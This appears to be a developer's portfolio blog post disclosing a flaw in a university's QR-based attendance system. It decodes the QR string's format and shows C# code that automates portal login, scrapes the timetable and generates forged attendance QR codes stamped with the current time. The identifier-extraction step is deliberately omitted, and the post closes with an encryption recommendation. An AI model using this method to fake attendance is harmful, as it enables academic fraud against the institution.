Phong Yen Hou, Justin
A recently graduated Full Stack Developer 🖥️ eager to take on new challenges.
A recently graduated Full Stack Developer 🖥️ eager to take on new challenges.
Title:
While exploring the mechanics of the university's QR-based attendance system, I identified a critical flaw that allows students to simulate valid attendance QR codes without accessing the official system.
Using a QR code reader, I extracted the following encoded string:
U;25035535|60651436|0|0|1735490045|0|0
Upon inspection, the value 1735490045
was identified as a Unix timestamp. The values 25035535
and 60651436
appear to be unique identifiers for the class and the attendance session, respectively. I was able to confirm their meanings by cross-referencing information on the university portal. However, the exact location of these identifiers is intentionally omitted to prevent misuse of the attendance system.
With this understanding, I proceeded to simulate the QR attendance system. I began by importing the necessary libraries and declaring the UI components and internal variables:
using System.Text.Json;
using Microsoft.Web.WebView2.WinForms;
using QRCoder;
Key UI and logic variables include:
private TextBox usernameEntry;
private Label usernameLabel;
private Label passwordLabel;
private TextBox passwordEntry;
private Button loginBTN;
private Microsoft.Web.WebView2.WinForms.WebView2 webView21;
private ListView listView1;
private Button logoutBTN;
private ColumnHeader columnHeader1, columnHeader2, ..., Attendance;
private PictureBox pictureBox1;
private Label label1;
private ProgressBar progressBar1;
I then implemented methods to manage the progress bar shown during background tasks, such as login and data loading.
private void progress()
{
loginBTN.Click -= loginBTN_Click;
logoutBTN.Click -= logoutBTN_Click;
progressBar1.Maximum = 100;
progressBar1.Minimum = 0;
progressBar1.Step = 1;
progressBar1.Style = ProgressBarStyle.Marquee;
progressBar1.Visible = true;
for (int i = 0; i < 100; i++)
{
progressBar1.Value = i;
}
}
private void stopprogress()
{
loginBTN.Click += loginBTN_Click;
logoutBTN.Click += logoutBTN_Click;
progressBar1.Value = 0;
progressBar1.Visible = false;
}
I loaded portal before everything started. To ensure the portal had loaded correctly, I checked for the presence of an element with the ID toplogin
. I also added a retry loop to improve robustness:
private async void InitializeWebViewAsync(WebView2 webView)
{
await webView.EnsureCoreWebView2Async(null);
string js = $@"document.getElementById('toplogin')";
try
{
progress();
for (int i = 0; i < 5; i++) //retry 5 times
{
webView.Source = new Uri(//Portal URL/);
string loaded = await webView21.ExecuteScriptAsync(js);
if (!string.IsNullOrEmpty(loaded))
{
stopprogress();
return;
}
await Task.Delay(1000);
}
}
catch (Exception ex)
{
stopprogress();
MessageBox.Show($"Error: {ex.Message}");
}
}
After the portal loads, users can enter their credentials. The system fills in the login form via JavaScript and attempts authentication. A retry mechanism and error detection are included to handle failures gracefully.
private async void loginBTN_Click(object sender, EventArgs e)
{
loginBTN.Enabled = false;
progress();
string username = usernameEntry.Text;
string password = passwordEntry.Text;
if (string.IsNullOrEmpty(username) || string.IsNullOrEmpty(password))
{
MessageBox.Show("Please login");
stopprogress();
loginBTN.Enabled = true;
return;
}
string jsScript = $@"
document.getElementsByName('Ecom_User_ID')[0].value = '{username}';
document.getElementsByName('Ecom_Password')[0].value = '{password}';
document.getElementsByName('B1')[0].click();
";
for (int i = 0; i < 5; i++)
{
await webView21.ExecuteScriptAsync(jsScript);
string jsScriptError = $@"
document.body.textContent.includes('Login failed, please try again.')
";
string error = await webView21.ExecuteScriptAsync(jsScriptError);
if (error == "true")
{
loginBTN.Enabled = true;
stopprogress();
MessageBox.Show("Password incorrect");
return;
}
bool LoginpageLoaded = await WaitForPageLoadAsync(//Portal Title/, 2);
if (LoginpageLoaded)
{
loginBTN.Enabled = false;
stopprogress();
await ExtractTimetableDataAndDisplayInListView();
logoutBTN.Enabled = true;
Console.WriteLine("User added successfully!");
return;
}
await Task.Delay(2000);
}
stopprogress();
loginBTN.Enabled = true;
MessageBox.Show("Portal server error");
InitializeWebViewAsync(webView21);
}
This helper function ensures the page is fully loaded by checking the browser title. It is customizable with retry limits and target title text.
private async Task<bool> WaitForPageLoadAsync(string expectedTitle, int maxRetries)
{
int attempt = 0;
string title = string.Empty;
while (attempt < maxRetries)
{
try
{
title = webView21.CoreWebView2.DocumentTitle;
if (title == expectedTitle)
{
return true;
}
await Task.Delay(1000);
attempt++;
}
catch (Exception ex)
{
MessageBox.Show($"Error: {ex.Message}");
}
}
return false;
}
Once logged in, the following function parses the timetable table (#tbJadual
) using JavaScript, extracts course codes and names, and populates them into a ListView
.
private async Task ExtractTimetableDataAndDisplayInListView()
{
try
{
progress();
string jsScript = @"
let rows = [];
let table = document.querySelector('#tbJadual');
if (table) {
let tableRows = table.querySelectorAll('tr');
tableRows.forEach(row => {
let columns = row.querySelectorAll('td');
if (columns.length > 2) {
// Push only the course code (index 1) and course name (index 2)
rows.push([columns[1].textContent.trim(), columns[2].textContent.trim()]);
}
});
}
JSON.stringify(rows);
";
string result = await webView21.ExecuteScriptAsync(jsScript);
result = result.Trim('"');
result = result.Replace("\\\"", "\"");
var tableData = JsonSerializer.Deserialize>>(result);
listView1.Items.Clear();
if (tableData != null)
{
foreach (var row in tableData)
{
ListViewItem listViewItem = new ListViewItem(row.ToArray());
listView1.Items.Add(listViewItem);
}
stopprogress();
}
}
catch (Exception ex)
{
stopprogress();
MessageBox.Show($"Error extracting timetable data: {ex.Message}");
}
}
I will skip the unique identifier extraction process and continue to generate QR code using the QRCoder
library based on the current Unix timestamp.
private async void qrgenerator()
{
pictureBox1.Visible = true;
QRCodeGenerator qrCodeGenerator = new QRCodeGenerator();
QRCodeData qrCodeData = qrCodeGenerator.CreateQrCode($"U;{value1}|{value2}|0|0|{((DateTimeOffset)DateTime.Now).ToUnixTimeSeconds()}|0|0", QRCodeGenerator.ECCLevel.Q);
QRCode qrCode = new QRCode(qrCodeData);
Bitmap qrCodeImage = qrCode.GetGraphic(20);
pictureBox1.Image = qrCodeImage;
stopprogress();
}
The logout function simulates clicking the logout button and navigates the user back to the login page upon success. Multiple retries are implemented to ensure logout confirmation.
private async void logoutBTN_Click(object sender, EventArgs e)
{
progress();
string jsScript = @"
document.getElementById('LinkButtonLogout').click();
";
for (int i = 0; i < 5; i++)
{
await webView21.ExecuteScriptAsync(jsScript);
bool AccesspageLoaded = await WaitForPageLoadAsync("NetIQ Access Manager", 5);
if (AccesspageLoaded)
{
for (int x = 0; x < 5; x++)
{
webView21.Source = new Uri(//Portal URL/);
bool PORTALpageLoaded = await WaitForPageLoadAsync(//Portal Title/, 5);
if (PORTALpageLoaded)
{
stopprogress();
listView1.Items.Clear();
MessageBox.Show("Logged out.");
pictureBox1.Visible = false;
label1.Visible = false;
loginBTN.Enabled = true;
logoutBTN.Enabled = false;
return;
}
await Task.Delay(1000);
}
}
await Task.Delay(1000);
}
stopprogress();
MessageBox.Show("Logged out failed, try again.");
}
To enhance the security of the QR-based attendance system, I recommend encrypting the QR string before encoding it into a QR code. This would prevent students or unauthorized users from easily decoding and analyzing the underlying algorithm, such as the session and class identifiers or timestamps.
The encryption and decryption process can be implemented using standard cryptographic libraries and integrated into both the QR code generator and the verification system. For reference, can navigate to my post.
Hastag: